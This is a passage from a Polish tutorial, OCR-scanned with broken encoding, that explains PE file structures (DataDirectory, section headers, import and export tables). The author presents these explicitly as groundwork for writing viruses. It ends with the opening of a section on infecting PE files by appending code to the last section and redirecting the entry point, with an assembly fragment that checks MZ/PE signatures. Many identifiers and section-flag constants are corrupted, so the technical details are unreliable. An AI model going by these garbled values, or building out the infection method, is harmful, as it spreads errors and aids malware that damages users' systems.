w nag��wku IMAGE_OPTIONAL_HEADER to DataDirectory, kt�re jest tablic� 16 (NumberOJRvaAndSizes) element�w. Ka�dy element, to struktura nazywana IMAGE_DATA_DIRECTORY, jednak ka�dy pe�ni r�ne funkcje. Lista element�w tablicy DataDirectory: DataDirectory [0] - Export symbols [1] - Import symbols [2] - Resources [3] - Exception [4] - Security [5] - Base relocation [6] - Debug [7] - Copyright string [8] - GlobalPtr [9] - Thread local storage (TLS) [10] - Load configuration [11] - Bound Import [12] - Import Address Table [13] - Delay Import [14] - COM descriptor [...] - Nieznana 14 Elementami takiej tablicy s� struktury zdefiniowane w nast�puj�cy spos�b: IMAGE_DATA_DIRECTORY STRUCI YirtualAddress DWORD ? isize DWORD ? IMAGE_DATA_DIRECTORY ENDS Pole YirtualAddress zawiera adres RVA miejsca struktury definiuj�cej odpowiedni� sekcj� (element z DataDirectory), isize okre�la wielko�� tej struktury. Warto zwr�ci� uwag� na wielko�� tej struktury (8 bajt�w) przyda si� to przy przechodzeniu po tablicy DataDirectory. Taka tablica wykorzystywana jest do szybkiego wyszukiwania odpowiedniej sekcji w pliku przez systemowy program �aduj�cy, zatem nie ma potrzeby sekwencyjnego przegl�dania ich wszystkich. Oczywi�cie nie wszystkie pliki musz� posiada� ca�y komplet pozycji tej tablicy, najcz�ciej s� tam Import oraz Export Symbols. W przypadku pozycji numer O (Export Symbols) w tablicy pole YirtualAddress wskazuje na tablic� struktur IMAGE_EXPORT_DESCRIPTOR, dla numeru l (Import Symbols) na tablice struktur EVLAGE_IMPORT_DESCRIPTOR. W dalszej cz�ci skryptu skupimy si� na ich opisie, poniewa� jak si� p�niej oka�e (przy pisaniu wirus�w) s� to wa�ne elementy pliku PE. � Tablica sekcji Sekcje mo�emy uto�samia� z obiektami. Mo�emy mie� obiekty z danymi, zasobami (bitmapy, wavy itp.), kodem programu oraz wieloma innymi wa�nymi rzeczami (pole DataDirectory opisane powy�ej). Plik PE zbudowany jest z obiekt�w (COFF) - sekcji. Na tym etapie opisywania pliku PE przedstawiamy rozszerzony model jego budowy: Nag��wek DOS MZ offset O Sygnatura PE IMAGE FILE HEADER IMAGE NT HEADERS IMAGE OPTIONAL HEADER DataDirectory Tablica sekcji = elementy typu IMAGE SECTION HEADER .text sekcje (niekt�re) .data .idata .reloc DEBUG info wyst�puje opcjonalnie Budowa pliku PE (model szczeg�owy) 15 Poni�ej nag��wk�w PE, ale przed danymi (cia�ami sekcji) mamy tablice sekcji, w kt�rej ka�de pole opisywane jest przez struktur� IMAGE_SECTION_HEADER. Jest to wi�c kolejna tablica struktur, kt�rej liczb� element�w podan� mamy w polu NumberOfSections w IMAGE_FILE_HEADER. Dzi�ki takiej tablicy mamy niezb�dne informacje o ka�dej z sekcji, oto one: IMAGE_SECTION_HEADER STRUCT Namel union Misc PhysicalAddress YirtualSize ends YirtualAddress SizeOfRawData PointerToRawData PointerToRelocations PointerToLinenumbers NumberOfRelocations NumberOfLinenumbers Characteristics IMAGE SECTION HEADERENDS BYTE IMAGE_SIZEOF_SHORT_NAME dup(?) DWORD ? - obowi�zuje dla plik�w OBJ DWORD ? - obowi�zuje dla plik�w EXE DWORD? DWORD? DWORD? DWORD? DWORD? WORD ? WORD ? DWORD? ,gdzie IMAGE_SIZEOF_SHORT_NAME equ 8 IMAGE_SIZEOF_SECTION_HEADER equ 40d - sta�a wielko�� struktury. Namel to 8 bajtowa nazwa ANSI sekcji zaczynaj�ca si� od kropki (chocia� nie jest to konieczne) np. .data .reloc .text .bss. Nazwa ta nie jest ASCIIZ string (nie zako�czona terminatorem /O ). Wyr�niamy: CODE, .text, .code .data .bss .import, .idata .export, .edata .rsrc .reloc .debug sekcja kodu sekcja zainicjowanych danych sekcja niezainicjowanych danych sekcja importu sekcja eksportu sekcja zasob�w sekcja relokacji sekcja debugera Nast�pn� mamy unie, kt�ra ma r�ne znaczenie, w zale�no�ci z jakim plikiem mamy do czynienia. Dla pliku typu EXE obowi�zuje pole YirtualSize, kt�re przechowuje informacje o dok�adnym rozmiarze sekcji, nie zaokr�glonym tak jak jest w nast�pnym polu SizeOfRawData. Dla pliku OBJ obowi�zuje pole PhysicalAddress, kt�re oznacza fizyczny adres sekcji, pierwsza ma adres O, nast�pne s� szukane poprzez ci�g�e dodawanie SizeOfRawData. YirtualAddress jest adresem RVA punktu startu sekcji. Program �aduj�cy analizuje to pole podczas mapowania sekcji w pami�ci, przyk�adowo je�li pole to jest ustawione na 0x1000 a PE jest wgrane pod adres 0x400000 (ImageBase), to sekcja b�dzie zmapowana w pami�ci pod adresem 0x401000. Narz�dzia Microsoftu ustawiaj� tu warto�� 0x1000 dla pierwszej sekcji w pliku. Dla plik�w OBJ pole to jest nie istotne, dlatego jest ustawione na 0. SizeOfRawData zaokr�glona (do wielokrotno�ci liczby podanej w polu FileAlignment IMAGE_OPTIONAL_HEADER32>) wielko�� sekcji. Je�eli pole FileAlignment zawiera 0x200 a pole YirtualSize (patrz wy�ej) m�wi, �e sekcja jest d�ugo�ci 0x3 8F, to wtedy pole to b�dzie zawiera� wpis 0x400. Systemowy program �aduj�cy egzaminuje to pole, zatem wie ile nale�y przeznaczy� pami�ci na za�adowanie sekcji. Dla plik�w OBJ pole to zawiera tak� sam� warto�� co YirtualSize. w 16 PointerToRawData zawiera offset w pliku punku startu sekcji. PointerToRelocations, poniewa� w plikach EXE wszystkie relokacj� zostaj� przeprowadzone na etapie linkowania, to pole to jest bezu�yteczne i jest ustawione na 0. PointerToLinenumbers u�ywane, gdy program jest skompilowany z informacjami dla debuggera. NumberOfRelocations pole wykorzystywane tylko w plikach OBJ. Characteristics, flagi informuj�ce jakiego rodzaju jest to sekcja: MAGE_SCN_CNT_CODE MAGE_SCN_CNT_INITIALIZED_DATA MAGE_SCN_CNT_UNINITIALIZED_DATA IMAGE_SCN_LNK_INFO MAGE_SCN_LNK_REMOVE MAGE_SCN_LNK_COMDAT IMAGE_SCN_LNK_NRELOC_OVFL IMAGE_SCN_MEM_DISCARDABLE MAGE_SCN_MEM_NOT_CACHED MAGE_SCN_MEM_NOT_PAGED MAGE_SCN_MEM_SHARED MAGE_SCN_MEM_EXECUTE MAGE_SCN_MEM_READ MAGE_SCN_MEM_WRITE � sekcja .text equ 00000020h equ 00000040h equ OOOOOOSOh equ 00000200h equ OOOOOSOOh equ OOOOlOOOh equ OlOOOOOOh equ 02000000h equ 04000000h equ OSOOOOOOh equ lOOOOOOOh equ 20000000h equ 40000000h equ SOOOOOOOh Zawiera kod wykonywalny Zawiera zainicjowane dane Zawiera nie zainicjowane dane Zawiera komentarze Kompilator podaje informacje do linkera, nie powinna by� ustawiona w ko�cowym EXE Zawiera dane Common B�ock Data Zawiera rozszerzone relokacje Mo�e zosta� zwolniona z RAM Nie cache'owoana Nie mo�e by� stronicowana Sekcja wsp�dzielona Dozwolone wykonanie kodu Dozwolone czytanie Dozwolone zapisywanie W sekcji o nazwie .text, CODE lub .code znajduje kod wykonywalny programu. Kod nie jest dzielony na kilka porcji w kilka sekcji, wszystko jest umieszczane przez linker w jedn� ca�o��. Opisujemy t� sekcj�, poniewa� chcemy zaznaczy� uwag� czytelnika na jeden fakt, mianowicie na metod� wywo�ywania funkcji importowanych przez program. W programie wywo�uj�c importowan� funkcj� (np. MessageBox() w USER32.DLL) kompilator generuje instrukcj� CALL, kt�ra nie przekazuje sterowania bezpo�rednio do biblioteki DLL gdzie funkcja jest zdefiniowana, lecz skacze pod adres w .text, gdzie nast�puje przekierowanie za pomoc� instrukcji JMP DWORD PTR [XXXXXXXX] do sekcji importu .idata (miejsca zdefiniowania adres�w funkcji i bibliotek). Mechanizm ten ilustruje poni�szy rysunek: program USER32.DLL 00040042: BFD01234 BFD01234: kod MessageBox sekcja importu 00014408: JMP DOWRD PTR [00040042] CALL 0001448 (CALL MessageBox) .text wywo�ywanie funkcji w sekcji .text bibliotek DLL 17 � tabela import�w Importowana funkcja to taka, kt�rej cia�o zdefiniowane jest w innym pliku, najcz�ciej jest to plik DLL. Program wywo�uj�cy tak� funkcj� posiada informacje jedynie o jej nazwie (lub numerze) i nazwie pliku DLL, z kt�rego jest importowana. Istniej� dwa typy/metody importowania funkcji: � poprzez warto��/numer funkcji � poprzez nazw� funkcji Wcze�niej, podczas opisywania tablicy DataDirectory zaznaczyli�my, �e jej element numer l wskazuje na struktur� IMAGE_DATA_DIRECTORY, kt�rej pole YirtualAddress zawiera adres tablicy struktur IMAGE_IMPORT_DESCRIPTOR w sekcji .idata (import data). IMAGE_IMPORT_DESCRIPTOR union Characteristics DWORD ? OriginalFirstThunk DWORD ? ends TimeDateStamp DWORD ? ForwarderChain DWORD ? Namel DWORD ? FirstThunk DWORD ? IMAGE_IMPORT_DESCRIPTOR ENDS W pliku nie ma informacji o ilo�ci element�w tej tablicy, dlatego jej ostatnia pozycja markowana jest wype�nieniem tej struktury samymi zerami, element�w b�dzie tak wiele jak r�nych plik�w DLL z kt�rych program importuje funkcje (KERNEL32.DLL, MFC40.DLL, USER32DLL, itp.) Characteristics/OriginalFirstThunk zawiera RVA kolejnej tablicy element�w DWORD. Ka�dy z tych element�w DWORD jest tak naprawd� uni� zdefiniowan� w strukturze IMAGE_THUNK_DATA. IMAGE_THUNK_DATA EQU<IMAGE_THUNK_DATA32> IMAGE_THUNK_DATA32 STRUCI union ul ForwarderString DWORD ? Function DWORD ? Ordinal DWORD ? AddressOfData DWORD ? ends IMAGE_THUNK_DATA32 ENDS Dla tematu tabela import�w w powy�szej unii obowi�zuje pole Function ( w przypadku importowania funkcji przez nazw� ), kt�re zawiera wska�nik na struktur� IMAGE_IMPORT_BY_NAME. Pole Ordinal jest stosowane w przypadku importowania funkcji przez warto�� (opisane dalej). Mamy zatem dla jakiego� programu kilka struktur IMAGE_IMPORT_BY_NAME, tablica taka ko�czy si� wska�nikiem w Function ustawionym na NULL. Adres takiej tablicy umieszczany jest w polu OriginalFirstThunk w IMAGE_IMPORT_DESCRIPTOR. IMAGE_IMPORT_BY_NAME STRUCI Hint WORD ? Namel BYTE ? IMAGE IMPORT BY NAME ENDS 18 Ten zestaw zawiera informacje o importowanej funkcji. Pole Hint zawiera indeks do tabeli export�w, kt�ra znajduje si� w pliku DLL. Zdarza si�, �e niekt�re linkery ustawiaj� tu warto�� O - zatem pole to nie jest za bardzo istotne. Wa�niejsze okazuje si� jest Namel, kt�re zawiera nazw� ASCIIZ (null terminated) importowanej funkcji. Powracaj�c do IMAGE_IMPORT_DESCRIPTOR, mamy kolejne pole TimeDateStamp, kt�re zawiera dat� utworzenia pliku z kt�rego importujemy funkcj�, cz�sto zawiera warto�� r�wn� zero. ForwarderChain pole reprezentuje technik� Export Forwarding (opisan� w dokumentacji Microsoftu). W Windows NT KERNEL32.DLL przekazuje niekt�re eksportowane funkcje do NTDLL.DLL. Aplikacja wywo�uj�c jak�� funkcje z KERNEL32.DLL mo�e tak naprawd� wywo�ywa� funkcje zdefiniowan� w NTDLL.DLL, w�a�nie dzi�ki Export Forwarding. Namel zawiera RVA do nazwy ASCIIZ pliku z kt�rego importujemy funkcje, np. KERNEL32.DLL, USER32.DLL, MOJA_BILBIOTEKA.DLL FirstThunk pole to ma bardzo podobne znaczenie do OriginalFirstThunk, to znaczy zawiera adres RVA tablicy struktur IMAGE_THUNK_DATA, jednak taka tablica r�ni si� od poprzedniej przeznaczeniem. Mamy zatem dwie tablice wype�nione elementami RVA struktur IMAGE_THUNK_DATA, czyli dwie identyczne tablice. Adres pierwszej jest przechowywany w OriginalFirstThunk, drugiej w FirstThunk, jak pokazano na rysunku: IMAGE IMPORT DESCRTPTOR OriginalFirstThunk TimeDateStamp ForwarderChain Namel Nazwa pliku importu (DLL) FirstThunk EMAGE IMPORT BY NAME + OriginalFirstThuiik IMAGE THUNK DATA IMAGE THUNK DATA IMAGE THUNK DATA IMAGE THUNK DATA IMAGE THUNK DATA NULL 34 Funkcja 1 4 67 Funkcja 2 ^ 21 Funkcja 3 * 12 Funkcja 4 ^ ... ^ 37 Funkcja n Hint Namel FirstThunk IMAGE THUNK DATA IMAGE THUNK DATA IMAGE THUNK DATA IMAGE THUNK DATA IMAGE THUNK DATA NULL Schemat importu funkcji Tych wpis�w w obydw�ch tabelach b�dzie tak wiele, jak funkcji kt�re importujemy z konkretnego DLLa. Zatem je�eli program importuje n funkcji z pliku USER32.DLL, to pole Namel w strukturze IMAGE_IMPORT_DESCRIPTOR b�dzie zawiera�o RVA stringu jego nazwy i b�dzie po n element�w IMAGE_THUNK_DATA w obydwu tablicach. Po co w programie dwa egzemplarze takiej tablicy? Pierwsza wskazywana przez pole OriginalFirstThunk pozostaje taka sama, nie jest zmieniana. Druga (FirstThunk) jest modyfikowana przez systemowy program 19 �aduj�cy, kt�ry przechodz�c po jej elementach wpisuje do ka�dego adres importowanej funkcji. Dzi�ki temu, �e mamy (oryginaln�) pierwsz� tabel�, gdy zajdzie taka potrzeba system mo�e otrzyma� nazw� importowanej funkcji.. IMAGE IMPORT BY NAME ->� OrigmalKrstThuiik IMAGE THUNK DATA IMAGE THUNK DATA IMAGE THUNK DATA IMAGE THUNK DATA IMAGE THUNK DATA 34 Funkcja 1 67 Funkcja 2 21 Funkcja 3 12 Funkcja 4 ... 37 Funkcja n KrstThunk adres fimkcji l adres fimkcji 2 adres fimkcji 3 adres fimkcji 4 adres fimkcji n NULL Hint Namel NULL J Import Address Table (IAT) Funkcje nie zawsze s� importowane poprzez swoje nazwy, czasami s� importowane przez warto��. Wtedy nie ma IMAGE_IMPORT_BY_NAME, ale zamiast tego w IMAGE_THUNK_DATA mamy numer importowanej funkcji. Dla takiego przypadku m�wi si� o korzystaniu z pola Ordinal w IMAGE_THUNK_DATA (a nie Function jak mia�o to miejsce poprzednio - jednoznaczno�� zapewnia nam unia). Numer funkcji w Ordinal znajduje si� w jego m�odszym s�owie, a na najstarszej pozycji (MSB) starszego sowa jest ustawiony bit na 1. Na przyk�ad: je�eli funkcja jest eksportowana w pliku DLL z numerem 00034h, to wtedy pole to b�dzie zawiera� 80000034h. W pliku WINDOWS.INC bit taki jest zdefiniowany jako sta�a 0x80000000 o nazwie IMAGE_ORDINAL_FLAG32. � tabela eksport�w Funkcje u�ywane w programach Win32 importowane s� z plik�w DLL, gdzie eksportowane s� dzi�ki tabelom eksport�w. Tabela ta znajduje si� na pocz�tku sekcji o nazwie .edata lub .export. i opisana jest struktur�: IMAGE_EXPORT_DIRECTORY STRUCT Characteristics DWORD ? TimeDateStamp DWORD ? MajorYersion WORD ? MinorYersion WORD ? nName DWORD ? nBase DWORD ? NumberOfFunctions DWORD ? NumberOfNames DWORD ? AddressOfFunctions DWORD ? AddressOfNames DWORD ? AddressOfNameOrdinals DWORD ? IMAGE_EXPORT_DIRECTORY ENDS W tablicy DataDirectory (w IMAGE_OPTIONAL_HEADER32) jej pierwszy element wskazuje na struktur� IMAGE_DATA_DIRECTORY, kt�rej pole YirtualAddress zawiera adres tablicy struktur IMAGE EXPORT DESCRIPTOR. 20 Analogiczne do mechanizmu importowania istniej� dwa typy eksportowania funkcji: � poprzez warto��/liczb�/numer funkcji � poprzez nazw� funkcji Opis p�l struktury IMAGE_EXPORT_DESCRIPTOR: Characteristics pole nie u�ywane, ustawione na 0. TimeDateStamp data/czas stworzenia pliku. MajorYersion oraz MinorYersion okre�laj� wersje pliku, ale r�wnie� sanie u�ywane i ustawione na 0. nName RVA na string ASCIIZ nazwy pliku DLL. Pole to jest wa�ne, poniewa� w przypadku zmiany nazwy pliku, program �aduj�cy SO u�yje nazwy wewn�trznej (tego stringu). nBase to pocz�tkowa (najni�sza) warto�� numeru eksportowania (poprzez numer) funkcji. Zatem je�eli w pliku istniej� funkcje eksportowane przez numery np.: 4,5,8,10, to pole to b�dzie zawiera� warto�� 4. NumberOfFunctions liczba wszystkich funkcji eksportowanych w pliku. NumberOfNames liczba funkcji eksportowanych przez nazw�. Bardzo cz�sto jest tak, �e wszystkie funkcje s� eksportowane przez nazw�, czyli NumberOjName = NumberOfFunctions. AddressOfFunctions RVA, kt�re wskazuje na tablice adres�w funkcji w module (DLL). W module wszystkie RVA do funkcji s� trzymane w tablicy, kt�ra jest wskazywana przez to pole. AddressOjNames zawiera RVA tablicy wska�nik�w na stringi, kt�re s� nazwami eksportowanych funkcji w module. AddressOfNameOrdinals wskazuje na 16 bitow� tablice (jej elementami s� WORD'y ). Ka�dy element tej tablicy zawiera numer funkcji, kt�ry mo�e odpowiada� przypisaniu do funkcji eksportowanej przez warto��. Jednak dok�adny numer otrzymamy po dodaniu go do numeru zawartego w polu nBase. Przyk�adowo, je�eli pole nBase zawiera 4 a jedna z funkcji modu�u jest eksportowana przez warto�� 5, to w tej tablicy znajdzie si� pole z numerem l, kt�re reprezentuje t� funkcje (bo 4+1=5). Tabela eksportu znajduje si� w pliku i jest wykorzystywana przez program �aduj�cy SO. Modu� musi zawiera� adresy wszystkich eksportowanych funkcji, tak aby program �aduj�cy posiada� informacje o tym, gdzie si� one znajduj�. Najwa�niejsz� jest tablica wskazywana poprzez pole AddressOfFunctions, kt�ra jest zbudowana z element�w typu DWORD. Ka�dy jej element zawiera RVA importowanej funkcji. Liczba element�w tej tablicy podana jest w polu NumberOfFunctions. W przypadku eksportowania funkcji przez warto��, jej numer eksportu odpowiada pozycji w tej tablicy adres�w. Na przyk�ad je�eli funkcja jest eksportowana przez warto�� numer l, to jej adres b�dzie w wy�ej wymienionej tablicy na pierwszej pozycji; gdy eksportowana przez warto�� 5, to jej adres b�dzie znajdowa� na pozycji pi�tej w tej tablicy, itd. Nale�y jednak pami�ta� o polu nBase, je�eli pole to zawiera warto�� 10, wtedy pierwszy element DWORD w tablicy AddressOfFunctions odpowiada adresowi funkcji eksportowanej przez liczb� 10, drugi element odpowiada adresowi funkcji eksportowanej przez 11, itd. Jest jeszcze jedna ciekawa rzecz zwi�zana z eksportowaniem przez warto��, mianowicie mog� istnie� przerwy w ich numerowaniu. Na przyk�ad mo�e zaj�� taka sytuacja, �e eksportowane s� dwie funkcje przez warto�ci odpowiednio l oraz 3. Pomimo, �e eksportowane s� tylko dwie funkcje, to tabela AddressOfFunctions b�dzie zawiera� trzy elementy, przy czym jej drugi DWORD b�dzie ustawiony na 0. Zatem podsumowuj�c, kiedy systemowy program �aduj�cy potrzebuje pobra� adresy funkcji eksportowanych przez warto��, to ma bardzo niewiele do zrobienia, poniewa� taki numer funkcji traktuje jako indeks pozycji w tabeli adres�w. Okazuje si� jednak, �e cz�ciej u�ywa si� eksportu przez nazw� funkcji. Je�eli w module pewne funkcje s� eksportowane przez nazw�, to plik musi przechowywa� informacje o tych nazwach. Znajduj� si� one w tablicy wska�nik�w na stringi, jej adres podany jest w AddressOjNames. Dodatkowo jest jeszcze tabela, kt�rej wska�nik znajduje si� w polu AddressOfNameOrdinals. Liczba element�w tych tablic jest identyczna i podana w polu NumberOfNames. Tablice te s� wykorzystywane przy translacji nazw funkcji na ich numery, kt�re s� indeksami do element�w tablicy adres�w (AddressOfFunctions). Praca systemowego programu �aduj�cego mo�e by� opisana w 21 nast�puj�cy spos�b: przeszukuje on tablice AddressOjNames w celu znalezienia pozycji, w kt�rej RVA wskazuje na string odpowiadaj�cy eksportowanej/szukanej funkcji. Za��my, �e sytuacja taka ma miejsce na pozycji numer trzy w tabeli nazw. Loader wykorzystuje ten numer jako indeks do tabeli AddressOjNameOrdinals, kt�ra zbudowana jest z element�w typu WORD, w kt�rych s� zapisane numery indeks�w do tablicy AddressOfFunctions. Zatem loader pobiera WORD z pozycji numer trzy tablicy AddressOjNameOrdinals, w kt�rym ma zapisany indeks do tabeli adres�w - tam odnajdzie szukany adres funkcji w pami�ci. Dodatkowo warto zaznaczy�, �e ka�da nazwa funkcji ma przypisany tylko jeden adres. Odwrotne stwierdzenie nie jest prawdziwe; jeden adres mo�e by� powi�zany z wieloma nazwami, dlatego istniej� tak zwane aliasy funkcji. 1 RVA na string funkcji 1 2 RVA na string funkcji 2 3 RVA na string funkcji 3 n RVA na string funkcji n AddressOfNames AddressOfNameOrdinal 1 Indeks 1 do tab. adres�w 2 Indeks 2 do tab.adres�w 3 Indeks 3 do tab.adres�w n Indeks n do tab.adres�w indeks indeks Relacja pomi�dzy tabelami dla importu przez nazw� EMAGE EXPORT DIRECTORY Characteristics adresy funkcji w pami�ci (pozosta�e pola) 0x400032 "MojaFunkl" 0x400085 0x400142 "MojaFunk3" RVA na string NumberOfFunctions tablica nazw funkcji RVA na string NumberOfNames AddressOfFunctions AddressOfNames "MojaFunkl" "MojaFunk3" indeksy do tablicy adres�w funkcji AddressOfNameOrdinals l Przyk�ad: liczba funkcji 3 - eksport: przez warto�� l, przez nazw� 2 � Infekcja pliku PE Uzbrojeni w wiedze o budowie pliku PE mo�emy przyst�pi� do opisu metod i technik ich infekcji. Jako jeden z pierwszych sposob�w infekcji plik�w PE zaproponowa� Jack Qwerty, nestor nale��cy do znanej grupy 29 A, autor pierwszych wirus�w infekuj�cych PE: Win32Jacky oraz Win32.Cabanas. Po nich pokaza�y si� kolejne dwa: Esperanto oraz Win32.Marburg - stworzone przez zesp� 29A. W�a�nie dzi�ki nim temat tak bardzo si� rozwin��, dlatego tak bardzo zale�a�o nam, aby wspomnie� o nich. Najbardziej popularn� metod� infekcji plik�w PE jest spos�b, kt�ry polega na doklejaniu si� kodu wirusa do ostatniej sekcji, zwi�kszeniu jej rozmiaru i ustawieniu pocz�tku wykonywania programu na adresie odpowiadaj�cym pierwszej instrukcji doklejonego kodu. Za��my, �e w rejestrze EDX mamy wska�nik do pocz�tku otwartego/zmapowanego w pami�ci pliku, np. przez API MapViewOfFile(). Pierwsz� czynno�ci� jak� powinna wykona� nasza procedura infekuj�ca w wirusie jest sprawdzenie czy atakowany obiekt jest plikiem PE. Mo�na to wykona� szukaj�c nag��wka PE 22 poprzez pole znajduj�ce si� na offsecie 03Ch (ejfanew- adres struktury PE ) w pierwszym nag��wku DOS MZ. push edx ;zachowaj, przy da si� p�niej cmp word ptr ds:[edx], "ZM" ;little endian jnz koniec_infekcji mov edx, dword ptr ds: [edx+3Ch] cmp cmp word ptr ds: [edx], "EP" jnz koniec_infekcji W tym momencie wiemy, �e mamy do czynienia z w�a�ciwym plikiem, nast�pnym krokiem jest zlokalizowanie ostatniej sekcji. Wiemy, �e po DOS MZ oraz nag��wku IMAGE_FILE_HEADER jest IMAGE_OPTIONAL_HEADER a dalej jest ju� tablica sekcji, zawieraj�ca struktury definiuj�ce ka�d� sekcje w pliku. Jak dosta� si� do tej tablicy? W�a�ciwie mo�na na dwa sposoby: 1. Wykorzystamy fakt, �e struktura IMAGE_FILE_HEADER ma sta�� wielko�� w ka�dym pliku PE: IMAGE_SIZEOF_FILE_HEADER equ 20d. Po wykonaniu wy�ej przedstawionego kr�tkiego kodu wirusa, zawarto�� rejestru EDX wskazuje na pierwszy element w IMAGE_NT_HEADERS, czyli na pole Signature o